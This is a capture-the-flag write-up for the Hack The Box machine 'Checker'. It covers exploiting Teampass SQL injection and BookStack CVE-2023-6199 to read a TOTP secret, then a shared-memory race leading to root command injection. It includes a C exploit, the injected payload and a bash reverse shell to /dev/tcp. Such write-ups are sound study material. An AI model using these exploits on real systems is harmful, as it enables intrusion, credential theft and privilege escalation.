HTB: Checker

Description

Checker is a challenging machine that demonstrates CVE-2023-1545 on Teampass, CVE-2023-6199 on BookStack, the use of Google Authenticator as SSH TOTP, and a race condition on shared memory for privilege escalation.

Recon

nmap

Result of nmap scan:

# Nmap 7.95 scan initiated Wed Feb 26 22:44:28 2025 as: nmap -vvv -F -T4 -4 -sSCV -oN fast_tcp_scan.txt 10.10.11.56
Nmap scan report for checker.htb (10.10.11.56)
Host is up, received echo-reply ttl 63 (0.033s latency).
Scanned at 2025-02-26 22:44:28 WIB for 10s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwODCRSTNBvdXQ=
|   256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY
80/tcp   open  http    syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    syn-ack ttl 63 Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are only three open ports, 22, 80, and 8080. I will check the HTTP response Location header, which indicates a redirect. Sometimes, it reveals the domain.

$ curl -sI http://10.10.11.56/ | rg 'Location'
Location: http://checker.htb/login

It redirects to the checker.htb domain. Add the domain to the /etc/hosts file.

10.10.11.56 checker.htb

Websites

80 - TCP

Visiting checker.htb shows a login page for BookStack.

bookstack

Currently, we don’t have any credentials. By examining the source code, you can spot the BookStack version that is v23.10.2.

bookstack version

This version has CVE-2023-6199 but we need a credential. Let’s enumerate port 8080.

8080 - TCP

Visiting checker.htb:8080 shows a login page for Teampass.

teampass

Since there’s no version leak, I will look for and check unauthenticated CVEs. You can do a simple search or search through CVE or Mitre. In the end, I found an unauthenticated SQLI CVE that includes a PoC. That is CVE-2023-1545, which comes with a PoC. Just run the PoC and you will get two password hashes.

$ ./teampass_sqli.sh http://checker.htb:8080
There are 2 users in the system:
admin: <admin_hash>
bob: <bob_hash>

You can crack it using hashcat.

hashcat -m 3200 teampass_hashes.txt <rockyou> --username

You can only crack the bob hash, but it is enough to log in to Teampass.

Web as bob

Inside the Teampass, you can find bob-access folder that contains bookstack login and ssh access. If you try the ssh access credential, you will be asked for a verification code after entering the password.

$ ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:

Okay, let’s focus on the BookStack because we don’t have any knowledge about the verification code yet.

8080 - TCP again

Back at the BookStack website, since we have valid credentials, we can follow the PoC to exploit it. The PoC uses a modified version of php_filter_chains_oracle_exploit to send the appropriate payload. We can get the payload format from the same author of the PoC at this link.

The format is <img src='data:image/png;base64,[BASE64 HERE]'/> and the parameter name should be html, so we need to modify the script to accommodate it. You need to change the requestor.py inside the req_with_response function before the try except block.

1
...
2
def req_with_response(self, s):
3
        if self.delay > 0:
4
            time.sleep(self.delay)
5

6
        filter_chain = f"php://filter/{s}{self.in_chain}/resource={self.file_to_leak}"
7
        # DEBUG print(filter_chain)
8
        merged_data = self.parse_parameter(filter_chain)
9
        phpfilter = merged_data["html"]
10
        phpfilter_b64 = base64.b64encode(phpfilter.encode()).decode()
11
        img = f"<img src='data:image/png;base64,{phpfilter_b64}'/>"
12
        merged_data["html"] = img
13
...

That should be enough, but I don’t know what’s wrong with my machine; the if-else branch inside the try-except block wasn’t working as intended. I have to modify the condition for Verb.PUT to the following to make it work.

1
elif self.verb.value == "PUT":

This is optional if the first modification works well on your machine. According to the PoC, we need to create a book, then create a page, and save the draft. We need to get the page number, X-CSRF-TOKEN, and the BookStack cookie. You can retrieve all of this data from your browser’s network DevTools tab after saving the draft. Now, which file do we need to exfiltrate? Because we want to bypass the verification code on SSH, we need to identify the technology behind it.

I came across this post that explains how to set up TOTP on SSH using Google Authenticator. The output from this post is similar to the server, so this should be it. According to the post, the secret key used for generating the TOTP is stored at .google_authenticator inside the user’s home directory. Let’s try to read the /home/reader/.google_authenticator file.

$ python filters_chain_oracle_exploit_bookstack_lfr_ssrf.py --target 'http://checker.htb/ajax/page/9/save-draft' --file '/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "2eWRQgwyDzLfzL8amvM5z4iVprsO0GaXBQG0K2gw", "Content-Type":"application/x-www-form-urlencoded","Cookie""bookstack_session=eyJpdiI6IjExbkJYcmlaZTJITE5IREtSSllVUGc9PSIsInZhbHVlIjoiMUZBcjZTcFFYVFZNMklPenMyb3pveHNyUFNHdytsTEVMbkcyZjh1RERqNXhjdE5zVXdSYWczZTlEck9xTXJrazB3MS9ZbUZCS0pRODVkQjR0UGcvUU9MS1AyeW8yUW9yMmNzTE92aGFRbUNFeVAzeUtjMWFZQnpWTU5mMlNraEoiLCJtYWMiOiI3N2YzMGYxMjM5OGM5YmEwZGMxZTAzMmZiMGMxNjU1YzBhZjhmNjNjYTI5N2MwYmM5NzUyOGVlYzVjZTQ3M2Y4IiwidGFnIjoiIn0%3D"}'       [*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft
[*] The following local file is leaked : /home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "2eWRQgwyDzLfzL8amvM5z4iVprsO0GaXBQG0K2gw", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjExbkJYcmlaZTJITE5IREtSSllVUGc9PSIsInZhbHVlIjoiMUZBcjZTcFFYVFZNMklPenMyb3pveHNyUFNHdytsTEVMbkcyZjh1RERqNXhjdE5zVXdSYWczZTlEck9xTXJrazB3MS9ZbUZCS0pRODVkQjR0UGcvUU9MS1AyeW8yUW9yMmNzTE92aGFRbUNFeVAzeUtjMWFZQnpWTU5mMlNraEoiLCJtYWMiOiI3N2YzMGYxMjM5OGM5YmEwZGMxZTAzMmZiMGMxNjU1YzBhZjhmNjNjYTI5N2MwYmM5NzUyOGVlYzVjZTQ3M2Y4IiwidGFnIjoiIn0%3D"}
[-] File /home/reader/.google_authenticator is either empty, or the exploit did not work :

Unfortunately, the current user doesn’t have read access to it. We need to gather more information. The BookStack already contain some pages, the Basic Backup with cp page contains a backup script. This script will backup /home to the /backup/home_backup, maybe the machine uses this script either way it’s worth a try. The Google Authenticator secret key should be at /backup/home_backup/home/reader/.google_authenticator.

$ python filters_chain_oracle_exploit_bookstack_lfr_ssrf.py --target 'http://checker.htb/ajax/page/9/save-draft' --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "2eWRQgwyDzLfzL8amvM5z4iVprsO0GaXBQG0K2gw", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjExbkJYcmlaZTJITE5IREtSSllVUGc9PSIsInZhbHVlIjoiMUZBcjZTcFFYVFZNMklPenMyb3pveHNyUFNHdytsTEVMbkcyZjh1RERqNXhjdE5zVXdSYWczZTlEck9xTXJrazB3MS9ZbUZCS0pRODVkQjR0UGcvUU9MS1AyeW8yUW9yMmNzTE92aGFRbUNFeVAzeUtjMWFZQnpWTU5mMlNraEoiLCJtYWMiOiI3N2YzMGYxMjM5OGM5YmEwZGMxZTAzMmZiMGMxNjU1YzBhZjhmNjNjYTI5N2MwYmM5NzUyOGVlYzVjZTQ3M2Y4IiwidGFnIjoiIn0%3D"}'
[*] The following URL is targeted : http://checker.htb/ajax/page/9/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "2eWRQgwyDzLfzL8amvM5z4iVprsO0GaXBQG0K2gw", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjExbkJYcmlaZTJITE5IREtSSllVUGc9PSIsInZhbHVlIjoiMUZBcjZTcFFYVFZNMklPenMyb3pveHNyUFNHdytsTEVMbkcyZjh1RERqNXhjdE5zVXdSYWczZTlEck9xTXJrazB3MS9ZbUZCS0pRODVkQjR0UGcvUU9MS1AyeW8yUW9yMmNzTE92aGFRbUNFeVAzeUtjMWFZQnpWTU5mMlNraEoiLCJtYWMiOiI3N2YzMGYxMjM5OGM5YmEwZGMxZTAzMmZiMGMxNjU1YzBhZjhmNjNjYTI5N2MwYmM5NzUyOGVlYzVjZTQ3M2Y4IiwidGFnIjoiIn0%3D"}
RFZEQlJB
b'<SECRET_KEY>\n" TOTP_AUTH\n'

With the secret key, we could use online OTP generator like IT - Tools or we could use tool like oathtool. I will use the latter.

oathtool --totp -b "<SECRET_KEY>"

Make sure you have adjust your timezone according to your vpn and use the TOTP right away because it will expire soon enough. If you encounter Error "Operation not permitted" while writing config issue, you need to change your timezone to Europe/London and vpn to Europe.

Shell as reader

User flag

-bash-5.1$ cat user.txt
deadbeef403839fba2e22e3f0031fake

Enumeration

sudo -l shows that we have sudo access to /opt/hash-checker/check-leak.sh *

bash-5.1$ sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

The script basically just wrapper for /opt/hash-checker/check_leak binary

bash-5.1$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

It’s just make sure the first flag is alphanumeric characters. Let’s bring the binary on our machine and static analyze it.

scp reader@checker.htb:/opt/hash-checker/check_leak check_leak

check_leak program

Here’s the main function :

1
undefined8 main(int param_1,ulong param_2)
2
{
3
  char *__s;
4
  char cVar1;
5
  uint uVar2;
6
  char *pcVar3;
7
  char *pcVar4;
8
  char *pcVar5;
9
  char *pcVar6;
10
  size_t sVar7;
11
  void *__ptr;
12

13
  pcVar3 = getenv("DB_HOST");
14
  pcVar4 = getenv("DB_USER");
15
  pcVar5 = getenv("DB_PASSWORD");
16
  pcVar6 = getenv("DB_NAME");
17
  if (*(char *)((param_2 + 8 >> 3) + 0x7fff8000) != '\0') {
18
    __asan_report_load8(param_2 + 8);
19
  }
20
  __s = *(char **)(param_2 + 8);
21
  if ((((pcVar3 == (char *)0x0) || (pcVar4 == (char *)0x 0)) || (pcVar5 == (char *)0x0)) ||
22
     (pcVar6 == (char *)0x0)) {
23
    if (DAT_80019140 != '\0') {
24
      __asan_report_load8(&stderr);
25
    }
26
    fwrite("Error: Missing database credentials in envir onment\n",1,0x33,stderr);
27
    __asan_handle_no_return();
28
    exit(1);
29
  }
30
  if (param_1 != 2) {
31
    if (*(char *)((param_2 >> 3) + 0x7fff8000) != '\0') {
32
      __asan_report_load8(param_2);
33
    }
34
    if (DAT_80019140 != '\0') {
35
      __asan_report_load8(&stderr);
36
    }
37
    fprintf(stderr,"Usage: %s <USER>\n");
38
    __asan_handle_no_return();
39
    exit(1);
40
  }
41
  if (__s != (char *)0x0) {
42
    cVar1 = *(char *)(((ulong)__s >> 3) + 0x7fff8000);
43
    if (cVar1 <= (char)((byte)__s & 7) && cVar1 != '\0') {
44
      __asan_report_load1(__s);
45
    }
46
    if (*__s != '\0') {
47
      sVar7 = strlen(__s);
48
      if (0x14 < sVar7) {
49
        if (DAT_80019140 != '\0') {
50
          __asan_report_load8(&stderr);
51
        }
52
        fwrite("Error: <USER> is too long. Maximum lengt h is 20 characters.\n",1,0x3c,stderr);
53
        __asan_handle_no_return();
54
        exit(1);
55
      }
56
      __ptr = (void *)fetch_hash_from_db(pcVar3,pcVar4, pcVar5,pcVar6,__s);
57
      if (__ptr == (void *)0x0) {
58
        puts("User not found in the database.");
59
      }
60
      else {
61
        cVar1 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",__ptr);
62
        if (cVar1 == '\0') {
63
          puts("User is safe.");
64
        }
65
        else {
66
          puts("Password is leaked!");
67
          if (DAT_8001913c != '\0') {
68
            __asan_report_load8(&stdout);
69
          }
70
          fflush(stdout);
71
          uVar2 = write_to_shm(__ptr);
72
          printf("Using the shared memory 0x%X as temp location\n",(ulong)uVar2);
73
          if (DAT_8001913c != '\0') {
74
            __asan_report_load8(&stdout);
75
          }
76
          fflush(stdout);
77
          sleep(1);
78
          notify_user(pcVar3,pcVar4,pcVar5,pcVar6,uVar2) ;
79
          clear_shared_memory(uVar2);
80
        }
81
        free(__ptr);
82
      }
83
      return 0;
84
    }
85
  }
86
  if (DAT_80019140 != '\0') {
87
    __asan_report_load8(&stderr);
88
  }
89
  fwrite("Error: <USER> is not provided.\n",1,0x1f,stder r);
90
  __asan_handle_no_return();
91
  exit(1);
92
}

Here’s the program flow :

First few lines just load environment variables and make sure it’s not empty.
Check existence for the first paramater and make sure it’s not more than 20 characters.
Fetch the user password hash by fetching from database using fetch_hash_from_db function and compare it with bcrypt hashes in /opt/hash-checker/leaked_hashes.txt line by line using check_bcrypt_in_file function.
If there’s a match, the program will create a shared memory using write_to_shm function, sleep 1 second, notify user using notify_user function, and clear the shared memory.

The 1 second sleep is interesting because it will trigger a race condition on the shared memory. Let’s analyze further to take advantage the race condition.

Here’s the write_to_shm function :

1
int write_to_shm(undefined8 param_1)
2
{
3
  char cVar1;
4
  int iVar2;
5
  int __shmid;
6
  undefined8 *puVar3;
7
  time_t tVar4;
8
  char *__s;
9
  char *__s_00;
10
  size_t sVar5;
11
  char *pcVar6;
12
  undefined8 *puVar7;
13
  ulong uVar8;
14
  long in_FS_OFFSET;
15
  undefined8 local_88 [11];
16
  long local_30;
17

18
  puVar7 = local_88;
19
  if (__asan_option_detect_stack_use_after_return != 0) {
20
    puVar3 = (undefined8 *)__asan_stack_malloc_0(0x4 0);
21
    if (puVar3 != (undefined8 *)0x0) {
22
      puVar7 = puVar3;
23
    }
24
  }
25
  *puVar7 = 0x41b58ab3;
26
  puVar7[1] = "1 32 8 7 now:105";
27
  puVar7[2] = write_to_shm;
28
  uVar8 = (ulong)puVar7 >> 3;
29
  *(undefined4 *)(uVar8 + 0x7fff8000) = 0xf1f1f1f1;
30
  *(undefined4 *)(uVar8 + 0x7fff8004) = 0xf3f3f300;
31
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
32
  tVar4 = time((time_t *)0x0);
33
  srand((uint)tVar4);
34
  iVar2 = rand();
35
  __shmid = shmget(iVar2 % 0xfffff,0x400,0x3b6);
36
  if (__shmid == -1) {
37
    perror("shmget");
38
    __asan_handle_no_return();
39
    exit(1);
40
  }
41
  __s = (char *)shmat(__shmid,(void *)0x0,0);
42
  if (__s == (char *)0xffffffffffffffff) {
43
    perror("shmat");
44
    __asan_handle_no_return();
45
    exit(1);
46
  }
47
  tVar4 = time((time_t *)0x0);
48
  if (*(char *)(((ulong)(puVar7 + 4) >> 3) + 0x7fff8000) ! = '\0') {
49
    tVar4 = __asan_report_store8(puVar7 + 4);
50
  }
51
  puVar7[4] = tVar4;
52
  __s_00 = ctime(puVar7 + 4);
53
  sVar5 = strlen(__s_00);
54
  pcVar6 = __s_00 + (sVar5 - 1);
55
  cVar1 = *(char *)(((ulong)pcVar6 >> 3) + 0x7fff8000);
56
  if (cVar1 <= (char)((byte)pcVar6 & 7) && cVar1 != '\0')  {
57
    __asan_report_store1(pcVar6);
58
  }
59
  *pcVar6 = '\0';
60
  snprintf(__s,0x400,"Leaked hash detected at %s > %s \n",__s_00,param_1);
61
  shmdt(__s);
62
  if (local_88 == puVar7) {
63
    *(undefined8 *)(uVar8 + 0x7fff8000) = 0;
64
  }
65
  else {
66
    *puVar7 = 0x45e0360e;
67
    *(undefined8 *)(uVar8 + 0x7fff8000) = 0xf5f5f5f5f5f 5f5f5;
68
    *(undefined1 *)puVar7[7] = 0;
69
  }
70
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
71
    __stack_chk_fail();
72
  }
73
  return iVar2 % 0xfffff;
74
}

The interesting part is the key generation iVar2.

1
  tVar4 = time((time_t *)0x0);
2
  srand((uint)tVar4);
3
  iVar2 = rand();
4
  __shmid = shmget(iVar2 % 0xfffff,0x400,0x3b6);

It uses the current time as the seed, so it’s possible to create a same shared memory. The 0x3b6 is the permissions, it’s 1666 in octal.
The next interesting part is what is written inside the shared memory because it will useful later.

1
  __s_00 = ctime(puVar7 + 4);
2
  sVar5 = strlen(__s_00);
3
  pcVar6 = __s_00 + (sVar5 - 1);
4
  cVar1 = *(char *)(((ulong)pcVar6 >> 3) + 0x7fff8000);
5
  if (cVar1 <= (char)((byte)pcVar6 & 7) && cVar1 != '\0')  {
6
    __asan_report_store1(pcVar6);
7
  }
8
  *pcVar6 = '\0';
9
  snprintf(__s,0x400,"Leaked hash detected at %s > %s \n",__s_00,param_1);
10
  shmdt(__s);

It’s write Leaked hash detected at %s > %s to the shared memory, the first format is date and the second one is the password hash. Let’s move on the notify_user function.

Here’s the notify_user function :

1
void notify_user(undefined8 param_1,undefined8 par am_2,char *param_3,undefined8 param_4,uint param _5)
2
{
3
  char cVar1;
4
  uint __shmid;
5
  int iVar2;
6
  undefined8 *puVar3;
7
  char *__haystack;
8
  char *pcVar4;
9
  undefined8 uVar5;
10
  FILE *__stream;
11
  char *pcVar6;
12
  ulong uVar7;
13
  bool bVar8;
14
  char *extraout_RDX;
15
  ulong uVar9;
16
  undefined8 *puVar10;
17
  long in_FS_OFFSET;
18
  undefined8 local_1a8 [47];
19
  long local_30;
20

21
  puVar10 = local_1a8;
22
  if ((__asan_option_detect_stack_use_after_return != 0)  &&
23
     (puVar3 = (undefined8 *)__asan_stack_malloc_3(0x 160), puVar3 != (undefined8 *)0x0)) {
24
    puVar10 = puVar3;
25
  }
26
  *puVar10 = 0x41b58ab3;
27
  puVar10[1] = "1 32 256 17 result_buffer:171";
28
  puVar10[2] = notify_user;
29
  uVar9 = (ulong)puVar10 >> 3;
30
  *(undefined4 *)(uVar9 + 0x7fff8000) = 0xf1f1f1f1;
31
  *(undefined4 *)(uVar9 + 0x7fff8024) = 0xf3f3f3f3;
32
  *(undefined4 *)(uVar9 + 0x7fff8028) = 0xf3f3f3f3;
33
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
34
  __shmid = shmget(param_5,0,0x1b6);
35
  if (__shmid == 0xffffffff) {
36
    printf("No shared memory segment found for the gi ven address: 0x%X\n",(ulong)param_5);
37
  }
38
  else {
39
    __haystack = (char *)shmat(__shmid,(void *)0x0,0);
40
    if (__haystack == (char *)0xffffffffffffffff) {
41
      if (DAT_80019140 != '\0') {
42
        __asan_report_load8(&stderr);
43
      }
44
      fprintf(stderr,
45
              "Unable to attach to shared memory segment with ID %d. Please check if the segment is acc essible.\n"
46
              ,(ulong)__shmid);
47
    }
48
    else {
49
      pcVar4 = strstr(__haystack,"Leaked hash detected" );
50
      if (pcVar4 == (char *)0x0) {
51
        puts("No hash detected in shared memory.");
52
      }
53
      else {
54
        pcVar4 = strchr(pcVar4,0x3e);
55
        if (pcVar4 == (char *)0x0) {
56
          puts("Malformed data in the shared memory.");
57
        }
58
        else {
59
          uVar5 = trim_bcrypt_hash(pcVar4 + 1);
60
          iVar2 = setenv("MYSQL_PWD",param_3,1);
61
          if (iVar2 == 0) {
62
            iVar2 = snprintf((char *)0x0,0,
63
                             "mysql -u %s -D %s -s -N -e \'select em ail from teampass_users where pw = \ "%s\"\'"
64
                             ,param_2,param_4,uVar5);
65
            pcVar4 = (char *)malloc((long)(iVar2 + 1));
66
            if (pcVar4 == (char *)0x0) {
67
              puts("Failed to allocate memory for command ");
68
              shmdt(__haystack);
69
              bVar8 = false;
70
            }
71
            else {
72
              snprintf(pcVar4,(long)(iVar2 + 1),
73
                       "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"%s\"\ '"
74
                       ,param_2,param_4,uVar5);
75
              __stream = popen(pcVar4,"r");
76
              if (__stream == (FILE *)0x0) {
77
                puts("Failed to execute MySQL query");
78
                free(pcVar4);
79
                shmdt(__haystack);
80
                bVar8 = false;
81
              }
82
              else {
83
                pcVar6 = fgets((char *)(puVar10 + 4),0x100,__ stream);
84
                if (pcVar6 == (char *)0x0) {
85
                  puts("Failed to read result from the db");
86
                  pclose(__stream);
87
                  free(pcVar4);
88
                  shmdt(__haystack);
89
                  bVar8 = false;
90
                }
91
                else {
92
                  pclose(__stream);
93
                  free(pcVar4);
94
                  pcVar4 = strchr((char *)(puVar10 + 4),10);
95
                  if (pcVar4 != (char *)0x0) {
96
                    cVar1 = *(char *)(((ulong)pcVar4 >> 3) + 0x 7fff8000);
97
                    if (cVar1 <= (char)((byte)pcVar4 & 7) && cV ar1 != '\0') {
98
                      __asan_report_store1(pcVar4);
99
                    }
100
                    *pcVar4 = '\0';
101
                  }
102
                  pcVar4 = strdup((char *)(puVar10 + 4));
103
                  if (pcVar4 == (char *)0x0) {
104
                    puts("Failed to allocate memory for result s tring");
105
                    shmdt(__haystack);
106
                    bVar8 = false;
107
                  }
108
                  else {
109
                    pcVar6 = (char *)(puVar10 + 4);
110
                    cVar1 = *(char *)(((ulong)pcVar6 >> 3) + 0x 7fff8000);
111
                    if (cVar1 <= (char)((byte)pcVar6 & 7) && cV ar1 != '\0') {
112
                      __asan_report_load1(pcVar6);
113
                      pcVar6 = extraout_RDX;
114
                    }
115
                    if (*pcVar6 != '\0') {
116
                      printf("User will be notified via %s\n",puVa r10 + 4);
117
                    }
118
                    free(pcVar4);
119
                    bVar8 = true;
120
                  }
121
                }
122
              }
123
            }
124
          }
125
          else {
126
            perror("setenv");
127
            shmdt(__haystack);
128
            bVar8 = false;
129
          }
130
          uVar7 = (ulong)(puVar10 + 4) >> 3;
131
          *(undefined4 *)(uVar7 + 0x7fff8000) = 0xf8f8f8f 8;
132
          *(undefined4 *)(uVar7 + 0x7fff8004) = 0xf8f8f8f 8;
133
          *(undefined4 *)(uVar7 + 0x7fff8008) = 0xf8f8f8f 8;
134
          *(undefined4 *)(uVar7 + 0x7fff800c) = 0xf8f8f8f 8;
135
          *(undefined4 *)(uVar7 + 0x7fff8010) = 0xf8f8f8f 8;
136
          *(undefined4 *)(uVar7 + 0x7fff8014) = 0xf8f8f8f 8;
137
          *(undefined4 *)(uVar7 + 0x7fff8018) = 0xf8f8f8f 8;
138
          *(undefined4 *)(uVar7 + 0x7fff801c) = 0xf8f8f8f 8;
139
          if (!bVar8) goto LAB_00103b3a;
140
        }
141
      }
142
      iVar2 = shmdt(__haystack);
143
      if (iVar2 == -1) {
144
        perror("shmdt");
145
      }
146
      unsetenv("MYSQL_PWD");
147
    }
148
  }
149
LAB_00103b3a:
150
  if (local_1a8 == puVar10) {
151
    *(undefined8 *)(uVar9 + 0x7fff8000) = 0;
152
    *(undefined8 *)(uVar9 + 0x7fff8008) = 0;
153
    *(undefined8 *)(uVar9 + 0x7fff8010) = 0;
154
    *(undefined8 *)(uVar9 + 0x7fff8018) = 0;
155
    *(undefined8 *)(uVar9 + 0x7fff8020) = 0;
156
    *(undefined4 *)(uVar9 + 0x7fff8028) = 0;
157
  }
158
  else {
159
    *puVar10 = 0x45e0360e;
160
    *(undefined8 *)(uVar9 + 0x7fff8000) = 0xf5f5f5f5f5f 5f5f5;
161
    *(undefined8 *)(uVar9 + 0x7fff8008) = 0xf5f5f5f5f5f 5f5f5;
162
    *(undefined8 *)(uVar9 + 0x7fff8010) = 0xf5f5f5f5f5f 5f5f5;
163
    *(undefined8 *)(uVar9 + 0x7fff8018) = 0xf5f5f5f5f5f 5f5f5;
164
    *(undefined8 *)(uVar9 + 0x7fff8020) = 0xf5f5f5f5f5f 5f5f5;
165
    *(undefined4 *)(uVar9 + 0x7fff8028) = 0xf5f5f5f5;
166
    *(undefined1 *)puVar10[0x3f] = 0;
167
  }
168
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
169
    return;
170
  }
171
  __stack_chk_fail();
172
}

Here’s the interesting part :

1
pcVar4 = strstr(__haystack,"Leaked hash detected" );
2
      if (pcVar4 == (char *)0x0) {
3
        puts("No hash detected in shared memory.");
4
      }
5
      else {
6
        pcVar4 = strchr(pcVar4,0x3e);
7
        if (pcVar4 == (char *)0x0) {
8
          puts("Malformed data in the shared memory.");
9
        }
10
        else {
11
          uVar5 = trim_bcrypt_hash(pcVar4 + 1);
12
          iVar2 = setenv("MYSQL_PWD",param_3,1);
13
          if (iVar2 == 0) {
14
            iVar2 = snprintf((char *)0x0,0,
15
                             "mysql -u %s -D %s -s -N -e \'select em ail from teampass_users where pw = \ "%s\"\'"
16
                             ,param_2,param_4,uVar5);
17
            pcVar4 = (char *)malloc((long)(iVar2 + 1));
18
            if (pcVar4 == (char *)0x0) {
19
              puts("Failed to allocate memory for command ");
20
              shmdt(__haystack);
21
              bVar8 = false;
22
            }
23
            else {
24
              snprintf(pcVar4,(long)(iVar2 + 1),
25
                       "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"%s\"\ '"
26
                       ,param_2,param_4,uVar5);
27
              __stream = popen(pcVar4,"r");
28
              if (__stream == (FILE *)0x0) {
29
                puts("Failed to execute MySQL query");
30
                free(pcVar4);
31
                shmdt(__haystack);
32
                bVar8 = false;
33
              }

We have control on uVar5 because it’s the content of the shared memory, it must contains Leaked hash detected and >. After the > character is the uVar5 content, it will execute the formatted string pcVar4 using popen function so we can inject a command.
To exploit this scenario, we need to spam create shared memory segments so that when we run the check_leak program with a compromised username, it will use our shared memory instead.

Here’s the C program to create a shared memory and inject malicious command :

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <sys/ipc.h>
5
#include <sys/shm.h>
6
#include <sys/types.h>
7
#include <sys/wait.h>
8
#include <time.h>
9
#include <unistd.h>
10

11
int shmid;
12

13
int main(int argc, char *argv[]) {
14
  int seed = time(NULL);
15
  srand(seed);
16
  int shmkey = rand() % 0xfffff;
17
  shmid = shmget(shmkey, 0x400, 0x3b6);
18
  printf("shmid: 0x%x\n", shmkey);
19
  char *shm = (char *)shmat(shmid, NULL, 0);
20
  sprintf(shm, "Leaked hash detected at %s > %s \n", "bruh", "'; /tmp/pwn;#");
21
  shmdt(shm);
22
  return 0;
23
}

Create a reverse shell on /tmp/pwn.

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.x.x/9001 0>&1' > /tmp/pwn
chmod +x /tmp/pwn

Compile the code and run it inside a while loop.

gcc exploit.c -o exploit
chmod +x exploit
while true; do
  ./exploit
done

Open another session and execute the following command :

sudo /opt/hash-checker/check-leak.sh bob

And you should a reverse shell.

Shell as root

Root flag

root@checker:~# cat root.txt
cat root.txt
deadbeef254725ceda717de1892bfake